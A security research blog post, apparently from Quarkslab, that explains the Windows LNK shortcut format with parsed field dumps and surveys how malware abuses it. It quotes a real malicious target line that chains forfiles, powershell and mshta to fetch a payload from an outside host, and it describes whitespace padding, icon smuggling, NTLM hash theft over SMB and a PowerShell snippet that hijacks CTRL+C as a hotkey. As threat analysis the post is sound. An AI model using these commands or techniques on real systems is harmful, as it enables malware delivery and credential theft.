We did a quick study on the most common ways to deliver malware through LNK files.

How malware authors play with the LNK file format

Context

The LNK file format, also known as shortcut files or Shell Link binary, was introduced in Windows 95. It is used to create shortcuts to original files, folders, applications or even URLs. Thus, LNK files contain various pieces of information, such as the path to the original target, a custom icon, and even instructions on how the object should be executed or opened. This makes it perfect for a dropper.

The most widely known malware that used the LNK file format is the infamous Stuxnet, the targeted malware used to deliver a payload to sabotage the uraninum enrichment plant in Iran. The Stuxnet worm used LNK files to propagate by exploiting the CVE-2010-2568 "vulnerability" discovered in the wild on June 17th, 2010. The first use of the LNK vulnerability dates back to November 2008 by the Trojan.Zlob malware. Microsoft issued the MS10-046 security update to patch the LNK vulnerability on August 2nd, 2010. And yet, 14 years later, the LNK file format continues to be abused to deliver malware!

LNK files are used a lot more in recent attacks due to the decline of macro-based attacks since Microsoft's 2022 changes. The fact that they offer multiple ways to infect a machine makes it one of the prime candidates for Office macro's replacement. They are already used in dozens of malware campaigns with families such as Qakbot, IcedID, Emotet, Ursnif, Redline and many more.

The LNK file format

The Shell Link Binary format specifications are available here, but here's a summary:

Field Name Required Type Details LinkFlags
SHELL_LINK_HEADER ShellLinkHeader structure Identification info, timestamps, flags to specify the presence of optional structs -
LINKTARGET_IDLIST LinkTargetIDList structure Specifies the target of the link HasLinkTargetIDList
LINKINFO LinkInfo structure Specifies info to resolve the link target HasLinkInfo
STRING_DATA StringData structure(s) Specifies UI and path identification elements (Many)
EXTRA_DATA ExtraData structure(s) Additional information about the link target

The SHELL_LINK_HEADER is the only part of an LNK file which has to be present. Like all headers, this one describes the contents of the LNK file, and more specifically the presence (or not) of optional structures with the LinkFlags structure.

Click for an example
{S_2.1 - ShellLinkHeader}
    Header Size:         76 bytes
    Link File Class ID:  {00021401-0000-0000-C000-000000000046}
    Flags:               0x000800BB   HasLinkTargetIDList | HasLinkInfo | HasRelativePath | HasWorkingDir | HasArguments | IsUnicode | EnableTargetMetadata
    Attributes:          0x00000020   FILE_ATTRIBUTE_ARCHIVE
    Creation Time:       2020-07-03 22:51:57.9661242 (UTC)
    Access Time:         2020-07-06 04:18:49.8035543 (UTC)
    Write Time:          2020-07-06 04:18:49.5765275 (UTC)
    Target Size:         1490944 bytes
    Icon Index:          0
    Window State:        SW_SHOWNORMAL
    Hot Keys:            No Modifier key(s): And no key assigned.
    Reserved1:           0x0000
    Reserved2:           0x00000000
    Reserved3:           0x00000000

LINKTARGET_IDLIST is the part of the file that describes the target's location on the system using a list of ItemID objects, one item for each subfolder in the path and one for the file.

Click for an example
{S_2.2 - LinkTargetIDList}
    Size:                281 bytes
    IDList Size:         279 bytes
    Number of ItemIDs    4
    {ItemID 1}
      ItemID  Size:      20 bytes
      [No Property Stores found in this ITemID. Here is the raw data:]
      OFFSET   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F  ANSI
      ---------------------------------------------------------------------
      00000000 1F 50 E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30  .P.O. .:i.....+0
      00000010 30 9D 19 00                                      0...
    {ItemID 2}
      ItemID  Size:      25 bytes
      [No Property Stores found in this ITemID. Here is the raw data:]
      OFFSET   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F  ANSI
      ---------------------------------------------------------------------
      00000000 2F 43 3A 5C 00 00 00 00 00 00 00 00 00 00 00 00  /C:\............
      00000010 00 00 00 00 00 00 00 74 00                       .......t.
    {ItemID 3}
      ItemID  Size:      116 bytes
      [No Property Stores found in this ITemID. Here is the raw data:]
      OFFSET   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F  ANSI
      ---------------------------------------------------------------------
      00000000 31 00 00 00 00 00 E6 50 47 23 10 00 41 4E 4F 4E  1......PG#..ANON
      00000010 59 4D 7E 31 2E 30 00 00 5A 00 09 00 04 00 EF BE  YM~1.0..Z.......
      00000020 E6 50 A3 22 E6 50 47 23 2E 00 00 00 8D 34 0E 00  .P.".PG#.....4..
      00000030 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
      00000040 00 00 14 23 F9 00 41 00 6E 00 6F 00 6E 00 79 00  ...#..A.n.o.n.y.
      00000050 6D 00 75 00 73 00 42 00 72 00 6F 00 77 00 73 00  m.u.s.B.r.o.w.s.
      00000060 65 00 72 00 2D 00 76 00 32 00 2E 00 30 00 00 00  e.r.-.v.2...0...
      00000070 1A 00 74 00                                      ..t.
    {ItemID 4}
      ItemID  Size:      116 bytes
      [No Property Stores found in this ITemID. Here is the raw data:]
      OFFSET   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F  ANSI
      ---------------------------------------------------------------------
      00000000 32 00 00 C0 16 00 E6 50 59 22 20 00 41 4E 4F 4E  2......PY" .ANON
      00000010 59 4D 7E 31 2E 45 58 45 00 00 58 00 09 00 04 00  YM~1.EXE..X.....
      00000020 EF BE E3 50 7D B6 E6 50 59 22 2E 00 00 00 12 95  ...P}..PY"......
      00000030 0E 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00  ................
      00000040 00 00 00 00 E5 9D 40 00 41 00 6E 00 6F 00 6E 00  ......@.A.n.o.n.
      00000050 79 00 6D 00 75 00 73 00 42 00 72 00 6F 00 77 00  y.m.u.s.B.r.o.w.
      00000060 73 00 65 00 72 00 2E 00 65 00 78 00 65 00 00 00  s.e.r...e.x.e...
      00000070 1C 00 00 00                                      ....
    IDList Terminator    2 bytes

LINKINFO is a structure that holds information relevant to resolve the link target (finding the target, confirming it exists, and finding out whether it has moved).

Click for an example
{S_2.3 - LinkInfo}
    Total Size:          90 bytes
    Header Size:         28 bytes
    Flags:               0x00000001  VolumeIDAndLocalBasePath
    Volume ID Offset:    28
    Base Path Offset:    45
    CNR Link Offset:     0
    CPS Offset:          89
    LBP Offset Unicode:  [NOT SET]
    CPS Offset Unicode:  [NOT SET]
    {S_2.3.1 - LinkInfo - VolumeID}
      Vol ID Size:       17 bytes
      Drive Type:        DRIVE_FIXED
      Drive Serial No:   D215CBDB
      Vol Label Offset:  16
      Volume Label:      [EMPTY]
      Local Base Path:   C:\AnonymusBrowser-v2.0\AnonymusBrowser.exe

STRING_DATA is a structure that can hold the following elements:

Field Name Details LinkFlags
NAME_STRING Description field of the shortcut HasName
RELATIVE_PATH Path of the target file relative to the LNK file HasRelativePath
WORKING_DIR Directory to use when activating the link target HasWorkingDir
COMMAND_LINE_ARGUMENTS Arguments that will be used when activating the link target HasArguments
ICON_LOCATION Path specifying the location of the LNK file's icon HasIconLocation

Click for an example
{S_2.4 - StringData}
    StringData Size:     134 bytes
    {S_2.4 - StringData - RELATIVE_PATH}
      CountCharacters:   21 characters
      Relative Path:     .\AnonymusBrowser.exe
    {S_2.4 - StringData - WORKING_DIR}
      CountCharacters:   23 characters
      Working Dir:       C:\AnonymusBrowser-v2.0
    {S_2.4 - StringData - COMMAND_LINE_ARGUMENTS}
      CountCharacters:   20 characters
      Cmd Line Args:     no_ipcheck no_resize

EXTRA_DATA contains additional information about the link target.

Click for an example
{S_2.5 - ExtraData}
    Extra Data Size:     584 bytes
    ED Structures:       PROPERTY_STORE_PROPS | TRACKER_PROPS
    {S_2.5.7 - ExtraData - PropertyStoreDataBlock}
      File Offset:       677 bytes
      BlockSize:         484 bytes
      BlockSignature:    0xA0000009
      Number of Stores:  4
      {Property Store 1}
        Store Size:       97 bytes
        Version:          0x53505331
        Format ID:        {DABD30ED-0043-4789-A7F8-D013A4736622}
        Name Type:        Integer Name
        Number of Values: 2
        {Property Store 1 Property Value 1}
          Value Size:      69 bytes
          ID:              0x00000064
          Property Type:   0x001F VT_LPWSTR
          Value:           AnonymusBrowser-v2.0 (C:)
        {Property Store 1 Property Value 2}
          Value Size:      0 bytes
      {Property Store 2}
        Store Size:       185 bytes
        Version:          0x53505331
        Format ID:        {B725F130-47EF-101A-A5F1-02608C9EEBAC}
        Name Type:        Integer Name
        Number of Values: 6
        {Property Store 2 Property Value 1}
          Value Size:      57 bytes
          ID:              0x0000000A
          Property Type:   0x001F VT_LPWSTR
          Value:           AnonymusBrowser.exe
        {Property Store 2 Property Value 2}
          Value Size:      21 bytes
          ID:              0x0000000F
          Property Type:   0x0040 VT_FILETIME
          Value:           2020-07-03 22:51:58.0 (UTC)
        {Property Store 2 Property Value 3}
          Value Size:      21 bytes
          ID:              0x0000000C
          Property Type:   0x0015 VT_UI8
          Value:           0x000000000016C000 (1490944)
        {Property Store 2 Property Value 4}
          Value Size:      37 bytes
          ID:              0x00000004
          Property Type:   0x001F VT_LPWSTR
          Value:           Uygulama
        {Property Store 2 Property Value 5}
          Value Size:      21 bytes
          ID:              0x0000000E
          Property Type:   0x0040 VT_FILETIME
          Value:           2020-07-06 04:18:49.5765275 (UTC)
        {Property Store 2 Property Value 6}
          Value Size:      0 bytes
      {Property Store 3}
        Store Size:       133 bytes
        Version:          0x53505331
        Format ID:        {28636AA6-953D-11D2-B5D6-00C04FD918D0}
        Name Type:        Integer Name
        Number of Values: 2
        {Property Store 3 Property Value 1}
          Value Size:      105 bytes
          ID:              0x0000001E
          Property Type:   0x001F VT_LPWSTR
          Value:           C:\AnonymusBrowser-v2.0\AnonymusBrowser.exe
        {Property Store 3 Property Value 2}
          Value Size:      0 bytes
      {Property Store 4}
        Store Size:       57 bytes
        Version:          0x53505331
        Format ID:        {446D16B1-8DAD-4870-A748-402EA43D788C}
        Name Type:        Integer Name
        Number of Values: 2
        {Property Store 4 Property Value 1}
          Value Size:      29 bytes
          ID:              0x00000068
          Property Type:   0x0048 VT_CLSID
          Value:           UUID: {023067A7-0000-0000-0000-501F00000000}, Time: [N/A], Node (MAC addr): [N/A]
        {Property Store 4 Property Value 2}
          Value Size:      0 bytes
    {S_2.5.10 - ExtraData - TrackerDataBlock}
      File Offset:       581 bytes
      BlockSize:         96 bytes
      BlockSignature:    0xA0000003
      Length:            88 bytes
      Version:           0
      MachineID:         desktop-73cl5qt
      Droid1:            {2EBF7902-EDAA-43D6-A855-1512E2BABFF2}
        UUID Version:      4 - ITU random number
        UUID Variant:      ITU variant
      Droid2:            {06CC9568-BF32-11EA-ABA1-008CFAAD700E}
        UUID Version:      1 - ITU time based
        UUID Variant:      ITU variant
        UUID Sequence:     161
        UUID Time:         2020-07-06 02:40:17.1562344 (UTC)
        UUID Node (MAC):   00:8C:FA:AD:70:0E
      DroidBirth1:       {2EBF7902-EDAA-43D6-A855-1512E2BABFF2}
        UUID Version:      4 - ITU random number
        UUID Variant:      ITU variant
      DroidBirth2:       {06CC9568-BF32-11EA-ABA1-008CFAAD700E}
        UUID Version:      1 - ITU time based
        UUID Variant:      ITU variant
        UUID Sequence:     161
        UUID Time:         2020-07-06 02:40:17.1562344 (UTC)
        UUID Node (MAC):   00:8C:FA:AD:70:0E

Attacks with the LNK file format

Basic LNK attacks

As LNK files are shortcut files, they can reference all sorts of paths on the user's machine (including UNC paths), meaning that they can run both cmd.exe and powershell, with any argument. Most LNK files can also be setup to run in a minimized window in order to prevent detection from the user (3). The following example will run forfiles.exe, calling Vss, which will in turn start mshta to retrieve a longer payload from a server (1):

..\..\..\..\Windows\System32\forfiles.exe /p C:\Windows\Vss /c "powershell start mshta http://whitemansearch.shop/setup

cmd_command

The target (1) is run in a hidden window to prevent detection from the user, along with the Microsoft Edge shortcut. While this sample contains its whole payload in the "Target" field, making it very easy to analyze, LNK malwares usually obfuscate these fields a lot more, for example with base64, chaining commands, fetching payloads from the web or other techniques such as bamboozling.

This technique is used to separate the target of the LNK file from the arguments, thus hiding it from the user. It works by inserting a lot of whitespaces between the arguments and the target:

bamboozling

It's been specifically used by a China-linked threat actor targeting Taiwan to run a javascript payload stored in another folder:

%SystemRoot%\explorer.exe            [255 whitespaces]        __MACOS\_params2.cat.js

Icon smuggling

The weak link in the previous attack is that the true payload is still visible to an analyst or to a curious user, and therefore can be detected by AVs. A way for an attacker to hide payloads is to use the Icon Smuggling technique.

The icon field (3) can be found in 2 places in the LNK file format:
- When using a static path as icon location like C://Users/user1/Desktop/icon.ico (which is the standard way, using the Windows explorer LNK utility), it will be stored in the ICON_LOCATION structure, the presence of which is determined by the HasIconLocation flag in the header.
- When using an environment-aware path (that makes use of environment variables) like %SystemRoot%\system32\SHELL32.dll,5, it will be stored in the IconEnvironmentDataBlock structure in the EXTRA_DATA part of the file.

The IconEnvironmentDataBlock structure looks like this:

IconEnvironmentDataBlock

This means that by using both the TargetAnsi and TargetUnicode fields, any attacker can have access to 720 bytes of free space on any LNK file to either write a payload, or hide a link that can be retrieved later with the Target field, and then downloaded & executed. The flow works like the following:

Icon Smuggling infection flow

Another way to use icon smuggling, is by linking to an external SMB server. Because of Microsoft's automatic authentication feature, an attacker can successfully retrieve NTLM hashes from the victim. It appears to have been removed since then, but it can still be used to detect potential threats.

Shortcut key code

This is not a method of attack per se, but more of a persistence technique. Each LNK file can be associated with a shortcut (see (2)). When pressing the associated keys, the shortcut will be run automatically. This means that when downloaded, the file doesn't even need to be run by the user but will be triggered when the specific combination of keys is pressed, given that the windows explorer is open on the LNK's location.

Shortcut keys are limited to the CTRL + ALT + <any_key> combination in the windows file explorer, but with Powershell you can craft a script that allows any combination, including very common ones like ctrl+C or ctrl+V:

$lnkPath = "./ShortcutLnk.lnk"
$ShellObj = New-Object -ComObject Wscript.Shell
$lnk = $wshell.CreateShortcut($lnkPath)

$lnk.TargetPath = "your payload location"
$lnk.HotKey = "CTRL+C"

$lnk.Save()

CPL/DLL CVE and other techniques

CVE-2010-2568, used in StuxNet and present in Windows XP machines, the exploit is made by changing the "icon" pointed to by the LNK file to a Control panel file (*.cpl). CVE-2017-8464 is based on the same principle, and both lead to a remote code execution on the victim's machine.

Other techniques, such as bloating can be used to circumvent AV detection. It consitst in adding junk bytes to an executable in order to prevent analysis, since most sandboxes and analysis engines have a size limit (100MB for many public sandboxes, and 650MB for Virustotal). While bloating is used more in executable files, it has the same effect when used on LNK files.

Existing tools to analyze LNK files

Most open source LNK analysis tools are geared towards parsing and extraction of the format's many fields, and come in dozens of flavours, but the most efficient ones (in our opinion at the time of writing) are the following: - Eric Zimmerman's LECmd, a great windows-only LNK parser written in C#;
- Matmaus' LnkParse3, a python module that can also parse malformed/broken LNK files;
- Paul-Tew's Lifer, written in C, and the only parser that does not miss a single field in LNK files.

The remaining LNK-related tools on GitHub are mainly designed to create malicious LNK files in order to better understand their capabilities, here's a short list of examples: - lnkbomb can be used to create an LNK file that will retrieve NTLMv1/v2 hashes from some windows machines via insecure file shares.
- SharpLNKGen, a small windows tool that enables us to easily create shortcuts with custom icons, include bamboozling, and even use Alternate Data Streams to hide information.
- lnk2pwn, a *nix tool that can create LNK files with a few options.
- LNKUp, a project that's made to generate various payloads to steal NTLM hashes or environment variables.

Conclusion

The LNK file format has evolved into a versatile tool for malware authors due to its flexibility and the detailed information it can store. Its ability to link to various executable paths, camouflage itself through known icons, and run commands invisibly makes it an effective replacement for traditional macro-based attacks. The increased use of LNK files in recent malware campaigns highlights their evolution in modern cybersecurity threats.

Acknowledgments

Many thanks to Philippe Lagadec for his valuable inputs, documentation and proofreading, and to our Quarkslab colleagues for reviewing this article!


If you would like to learn more about our security audits and explore how we can help you, get in touch with us!